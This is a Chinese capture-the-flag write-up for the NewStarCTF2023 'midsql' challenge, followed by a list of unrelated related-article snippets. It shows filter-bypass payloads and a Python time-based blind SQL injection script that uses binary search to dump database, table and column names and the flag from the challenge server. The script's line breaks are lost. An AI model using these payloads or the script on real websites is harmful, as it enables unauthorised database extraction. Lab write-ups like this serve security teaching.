NewStarCTF2023week4-midsql(利用二分查找实现时间盲注攻击)
大致测试一下,发现空格被过滤了

使用内联注释/**/绕过,可行
1'/**/--+

使用%a0替代空格,也可以
1'%a0--+

再次测试发现等号也被过滤,我们使用 like 代替
(我最开始以为是and被过滤,并没有,如果是and或者or被过滤我们也可以使用 && 和 || 替代)
1'/**/&&1like2/**/--+
但是这里尝试了很多都只返回一个页面,没有出现报错页面,因此采用时间盲注,利用sleep函数,制造时间延迟,由回显时间来判断是否报错。
基础知识介绍:
if(判断语句,x,y)如果判断语句正确则输出X,否则输出Y
sleep(n),延迟n秒后回显
常用判断语句:
if(1=1,1,sleep(3)) // 1=1恒成立,因此会输出1
if(1=2,1,sleep(3)) //1=2不成立,则会执行最后的sleep函数,延迟3秒后回显
当然我们也可以直接使用sleep()函数:
1'&&sleep(5)--+
尝试之后发现这里好像还不能使用--+注释,因此我们换用#注释
1'&&sleep(5)#
观察发现没有延时,说明分号不是闭合符号

尝试数字型
1&&sleep(5)#
出现了很明显的延时现象,证明语句闭合成功

开始写脚本,先查一下它存在的数据库有哪些
构造payload:
1/**/and/**/if(ascii(substr((select/**/group_concat(schema_name)/**/from/**/information_schema.schemata),{i},1))>{mid},sleep(2),0)#
完整脚本:
import time
import requestsurl = 'http://f6337ab6-ed3c-472d-835f-3b756a55dd5d.node4.buuoj.cn:81/?id='database_name = ""
for i in range(1, 100):left = 32right = 128mid = (left + right) // 2while left < right:payload = url + f"1/**/and/**/if(ascii(substr((select/**/group_concat(schema_name)/**/from/**/information_schema.schemata),{i},1))>{mid},sleep(2),0)#"start_time = time.time()response = requests.get(payload).textend_time = time.time()use_time = end_time - start_timeif use_time > 2:left = mid + 1else:right = midmid = (left + right) // 2print(mid)database_name += chr(mid)print(database_name)
注意:在payload中一定要用 f 格式化字符串常量,以确保 {} 中的内容(比如{i}、{mid})在程序运行时会被表达式的值代替。
运行结果:
发现存在一个名为 ctf 的数据库

接着我们查该数据库下的所有表
构造payload:
1/**/and/**/if(ascii(substr((select/**/group_concat(table_name)/**/from/**/information_schema.tables/**/where/**/table_schema/**/like'ctf'),{i},1))>{mid},sleep(2),0)#
完整脚本:
import time
import requestsurl = 'http://f6337ab6-ed3c-472d-835f-3b756a55dd5d.node4.buuoj.cn:81/?id='database_name = ""
for i in range(1, 100):left = 32right = 128mid = (left + right) // 2while left < right:payload = url + f"1/**/and/**/if(ascii(substr((select/**/group_concat(table_name)/**/from/**/information_schema.tables/**/where/**/table_schema/**/like'ctf'),{i},1))>{mid},sleep(2),0)#"start_time = time.time()response = requests.get(payload).textend_time = time.time()use_time = end_time - start_timeif use_time > 2:left = mid + 1else:right = midmid = (left + right) // 2print(mid)database_name += chr(mid)print(database_name)
发现只有一个名为 items 的表

尝试获数据库名为 ctf 下表名为 items 的列名信息
(这里不能直接select *)
构造payload:
1/**/and/**/if(ascii(substr((select/**/group_concat(column_name)/**/from/**/information_schema.columns/**/where/**/table_schema/**/like'ctf'||table_name/**/like'items'),{i},1))>{mid},sleep(2),0)#
完整脚本:
import time
import requestsurl = 'http://f6337ab6-ed3c-472d-835f-3b756a55dd5d.node4.buuoj.cn:81/?id='database_name = ""
for i in range(1, 100):left = 32right = 128mid = (left + right) // 2while left < right:payload = url + f"1/**/and/**/if(ascii(substr((select/**/group_concat(column_name)/**/from/**/information_schema.columns/**/where/**/table_schema/**/like'ctf'||table_name/**/like'items'),{i},1))>{mid},sleep(2),0)#"start_time = time.time()response = requests.get(payload).textend_time = time.time()use_time = end_time - start_timeif use_time > 2:left = mid + 1else:right = midmid = (left + right) // 2print(mid)database_name += chr(mid)print(database_name)
发现存在三个列:id,name,price

由于我们也不知道flag在哪儿,所以查询这三列的具体字段信息
构造payload:
1/**/and/**/if(ascii(substr((select/**/group_concat(id,name,price)/**/from/**/ctf.items),{i},1))>{mid},sleep(2),0)#
注意:这里查询的内容还是需要加上 group_concat(),因为之前我做的一些联合查询有时候不需要加,但是在这里我试了,不行。
顺便介绍一下 group_concat()函数的作用:
group_concat 首先根据 group by 指定的列进行分组,将同一组的列显示出来,并且用分隔符分隔,将group by产生的同一个分组中的值连接起来,返回一个字符串结果。
完整脚本:
import time
import requestsurl = 'http://f6337ab6-ed3c-472d-835f-3b756a55dd5d.node4.buuoj.cn:81/?id='database_name = ""
for i in range(1, 100):left = 32right = 128mid = (left + right) // 2while left < right:payload = url + f"1/**/and/**/if(ascii(substr((select/**/group_concat(id,name,price)/**/from/**/ctf.items),{i},1))>{mid},sleep(2),0)#"start_time = time.time()response = requests.get(payload).textend_time = time.time()use_time = end_time - start_timeif use_time > 2:left = mid + 1else:right = midmid = (left + right) // 2print(mid)database_name += chr(mid)print(database_name)

拿到 flag{217f2b74-cca0-4afb-be0b-2147f666d25e}
关于脚本的一些解释:
利用二分查找进行时间盲注攻击
-
payload是一个包含 SQL 注入攻击的 URL。这个 URL 是构建成这样的:url是你的目标网站的地址,后面附加一个 SQL 注入语句。 -
time.time()用于记录开始时间,然后发起 HTTP GET 请求,发送payload到目标网站。这个请求会执行 SQL 注入攻击。 -
发起请求后,再次使用
time.time()记录结束时间,然后计算use_time,即请求的响应时间。 -
接下来,通过比较
use_time是否大于 2 秒,来判断是否成功执行 SQL 注入。如果use_time大于 2 秒,说明条件成立,表示当前字符的 ASCII 值大于mid。 -
如果条件成立,将
left的值增加 1,否则,将right的值减少 1,从而更新mid的值。这是二分查找算法的一部分,用于逐字符提取数据库名的字符。 -
最后,代码将当前字符(字符的 ASCII 值通过
chr()函数转换为字符)添加到database_name变量中,并打印出database_name,逐步构建查询到的数据库名。
代码通过不断猜测每个字符的 ASCII 值来构建数据库名,一旦一个字符的 ASCII 值被确定,就继续下一个字符。当然这里的database_name只是一个变量名,我们可以替换成其他的。
相关文章:
NewStarCTF2023week4-midsql(利用二分查找实现时间盲注攻击)
大致测试一下,发现空格被过滤了 使用内联注释/**/绕过,可行 1/**/-- 使用%a0替代空格,也可以 1%a0-- 再次测试发现等号也被过滤,我们使用 like 代替 (我最开始以为是and被过滤,并没有,如果是…...
null,undefined的区别?
在 JavaScript 中,null 和 undefined 都表示没有值或缺失值的状态,但它们之间有一些区别。 null: null 是一个表示空值的特殊关键字。它是一个表示变量未赋值的值,可以将其赋给任何变量,表示该变量为空。使用 null 可以明确地将一个变量设置为空。 示例: let myVaria…...
2.flink编码第一步(maven工程创建)
概述 万里第一步,要进行flink代码开发,第一步先整个 flink 代码工程 flink相关文章链接 flink官方文档 两种方式 一种命令行 mvn 创建,另一种直接在 idea 中创建一个工程,使用 mvn 的一些配置 mvn命令行创建 mvn 创建flink工程&…...
Unit1_1:分治问题之时间复杂度求解
文章目录 背景递归树法案例一案例二局限性 代入法/替代法主方法(重点) 背景 当碰到形如 T ( n ) a T ( ⌈ n b ⌉ ) O ( n d ) T(n)aT(\lceil \frac{n}{b} \rceil)O(n^d) T(n)aT(⌈bn⌉)O(nd)的递推式,本质上就是将问题转化为规模更小的…...
React hooks的闭包陷阱
react hooks 陷阱 hooks必须放在函数顶层, 不能在条件分支和方法内 1、useState陷阱 异步陷阱 function Index() {const [count, setCount] useState(0)function add(){setCount( count 1 )console.log(count); // 0}return (<div><span>{count}…...
20.3 OpenSSL 对称AES加解密算法
AES算法是一种对称加密算法,全称为高级加密标准(Advanced Encryption Standard)。它是一种分组密码,以128比特为一个分组进行加密,其密钥长度可以是128比特、192比特或256比特,因此可以提供不同等级的安全性…...
一文详解防御DDoS攻击的几大有效办法
伴随互联网的飞速发展,网络安全问题变得越来越突出,其中最常见的就是DDoS攻击,也就是分布式拒绝服务攻击。DDoS攻击者利用计算机或其他设备的协作,以发送大量请求的方式导致目标超负荷,导致不能正常运转或“宕机”。以…...
Python二级 每周练习题24
练习一: 体重比较器 要求: 请编程实现如下功能: (1)程序开始运行时,提醒用户输入三个人的名字和体重 (可以分开输入,每次输入名字或者体重) (2) 程序自动比较,找出最重的一个人的名字和体重输出 的格式不限,但是要有最重人的姓名…...
MySQL - Buffer Pool
Buffer Pool 主要用于缓存数据库表的数据页,以提高数据库的读取性能: 缓存数据页:Buffer Pool 是 MySQL 中用于缓存数据页的内存区域。数据页通常包含数据库表的数据,如行记录等。当查询或读取数据时,MySQL会首先查看…...
c++ 拆分函数返回值和参数类型
在c中,函数参数类型和返回值类型通常是一个比较明确的信息,好像确实无需在这个上面费周折。然而,硬编码数据类型会让代码复用性下降,如果能够通过某种方式自动获取函数参数和返回值类型,对于代码的可复用性,…...
Ubuntu 23.10安装TeXlive并安装CTEX中文支持
连接上互联网,打开SHELL命令行界面, 1. sudo apt install texlive texstudio texlive-lang-chinese 就可以安装好了。texlive-lang-chinese 是TEXLIVE对CTEX中文的支持。 2. Tex源文件必须采用UTF-8编码格式,编译器采用xelatex。这样对中文…...
SpringBoot中CommandLineRunner详解(含源码)
文章目录 前言实例导入库application.yamlRunnerSpringBootCommandLineRunnerApplication执行结果 先后顺序示例OrderRunner1OrderRunner2执行结果 通常用法加载初始化数据示例 启动后打印应用信息示例 启动异步任务示例 接口健康检查示例 外部服务调用示例 参数校验示例 动态设…...
通信基础(一):数据传输基础
一、波特率与比特率关系 比特率(信息传输速率、信息速率):指单位时间内在信道上传 送的数据量(即比特数),单位为比特每秒 (bit/s), 简记为b/s或bps。 波特率与比特率有如下换算关系: bitbaud *log 2(N) 其中, N是码元总类数。 特别注意ÿ…...
故障诊断模型 | Maltab实现BiLSTM双向长短期记忆神经网络故障诊断
文章目录 效果一览文章概述模型描述源码设计参考资料效果一览 文章概述 故障诊断模型 | Maltab实现BiLSTM双向长短期记忆神经网络故障诊断 模型描述 利用各种检查和测试方法,发现系统和设备是否存在故障的过程是故障检测;而进一步确定故障所在大致部位的过程是故障定位。故障…...
物联网和互联网医院小程序:如何实现医疗设备的远程监测和管理?
物联网(IoT)技术的发展为医疗设备的远程监测和管理提供了巨大的机会。结合互联网医院小程序,我们可以实现对医疗设备的远程访问、监控和管理,从而提高医疗服务的质量和效率。本文将介绍如何实现医疗设备的远程监测和管理ÿ…...
sharepoint2016-2019升级到sharepoint订阅版
一、升级前准备: 要建立新的sharepoint订阅版环境,需求如下: 1.单服务器硬件需求CPU 4核,内存24G以上,硬盘300G(根据要迁移的数量来扩容大小等); 2.操作系统需要windows server 20…...
CTFHub | MySQL流量、Redis流量、MongoDB流量的WriteUp
文章目录 MySQL流量题目题解 Redis流量题目题解 MongoDB流量题目题解 数据库类流量题需要用到Wireshark截取数据包,然后进行分析。 WireShark是非常流行的网络封包分析工具,可以截取各种网络数据包,并显示数据包详细信息。常用于开发测试过程…...
NSS刷题 js前端修改 os.path.join漏洞
打算刷一遍nssweb题(任重道远) 前面很简单 都是签到题 这里主要记录一下没想到的题目 [GDOUCTF 2023]hate eat snake js前端修改 这里 是对js的处理 有弹窗 说明可能存在 alert 我们去看看js 这里进行了判断 如果 getScore>-0x1e9* 我们结合上面…...
ArcGIS Maps SDK for JS:隐藏地图边框
文章目录 1 问题描述2 解决方案 1 问题描述 近期,将ArcGIS Api for JS v4.16更新到了ArcGIS Maps SDK for JS v4.27,原本去除地图的css代码失效了。 v4.26及以前版本 ,需要用.esri-view-surface--inset-outline:focus::after 控制边框属性。…...
带你秒懂MySQL!! 一万字详细知识点和基础操作 欢迎评论区怼我 (三)
表操作 创建 # 创建表结构 create table user(id int comment ID,唯一标志,username varchar(20) comment 用户名,name varchar(10) comment 姓名,age int comment 年龄,gender char(1) comment 性别 ) comment 用户表; 约束 非空约束限制该字段值不为nullnot null唯一约束保证…...
基于FPGA的PID算法学习———实现PID比例控制算法
基于FPGA的PID算法学习 前言一、PID算法分析二、PID仿真分析1. PID代码2.PI代码3.P代码4.顶层5.测试文件6.仿真波形 总结 前言 学习内容:参考网站: PID算法控制 PID即:Proportional(比例)、Integral(积分&…...
线程同步:确保多线程程序的安全与高效!
全文目录: 开篇语前序前言第一部分:线程同步的概念与问题1.1 线程同步的概念1.2 线程同步的问题1.3 线程同步的解决方案 第二部分:synchronized关键字的使用2.1 使用 synchronized修饰方法2.2 使用 synchronized修饰代码块 第三部分ÿ…...
Objective-C常用命名规范总结
【OC】常用命名规范总结 文章目录 【OC】常用命名规范总结1.类名(Class Name)2.协议名(Protocol Name)3.方法名(Method Name)4.属性名(Property Name)5.局部变量/实例变量(Local / Instance Variables&…...
STM32F4基本定时器使用和原理详解
STM32F4基本定时器使用和原理详解 前言如何确定定时器挂载在哪条时钟线上配置及使用方法参数配置PrescalerCounter ModeCounter Periodauto-reload preloadTrigger Event Selection 中断配置生成的代码及使用方法初始化代码基本定时器触发DCA或者ADC的代码讲解中断代码定时启动…...
基础测试工具使用经验
背景 vtune,perf, nsight system等基础测试工具,都是用过的,但是没有记录,都逐渐忘了。所以写这篇博客总结记录一下,只要以后发现新的用法,就记得来编辑补充一下 perf 比较基础的用法: 先改这…...
相机Camera日志分析之三十一:高通Camx HAL十种流程基础分析关键字汇总(后续持续更新中)
【关注我,后续持续新增专题博文,谢谢!!!】 上一篇我们讲了:有对最普通的场景进行各个日志注释讲解,但相机场景太多,日志差异也巨大。后面将展示各种场景下的日志。 通过notepad++打开场景下的日志,通过下列分类关键字搜索,即可清晰的分析不同场景的相机运行流程差异…...
【学习笔记】深入理解Java虚拟机学习笔记——第4章 虚拟机性能监控,故障处理工具
第2章 虚拟机性能监控,故障处理工具 4.1 概述 略 4.2 基础故障处理工具 4.2.1 jps:虚拟机进程状况工具 命令:jps [options] [hostid] 功能:本地虚拟机进程显示进程ID(与ps相同),可同时显示主类&#x…...
Python Ovito统计金刚石结构数量
大家好,我是小马老师。 本文介绍python ovito方法统计金刚石结构的方法。 Ovito Identify diamond structure命令可以识别和统计金刚石结构,但是无法直接输出结构的变化情况。 本文使用python调用ovito包的方法,可以持续统计各步的金刚石结构,具体代码如下: from ovito…...
【笔记】WSL 中 Rust 安装与测试完整记录
#工作记录 WSL 中 Rust 安装与测试完整记录 1. 运行环境 系统:Ubuntu 24.04 LTS (WSL2)架构:x86_64 (GNU/Linux)Rust 版本:rustc 1.87.0 (2025-05-09)Cargo 版本:cargo 1.87.0 (2025-05-06) 2. 安装 Rust 2.1 使用 Rust 官方安…...
破解路内监管盲区:免布线低位视频桩重塑停车管理新标准
城市路内停车管理常因行道树遮挡、高位设备盲区等问题,导致车牌识别率低、逃费率高,传统模式在复杂路段束手无策。免布线低位视频桩凭借超低视角部署与智能算法,正成为破局关键。该设备安装于车位侧方0.5-0.7米高度,直接规避树枝遮…...
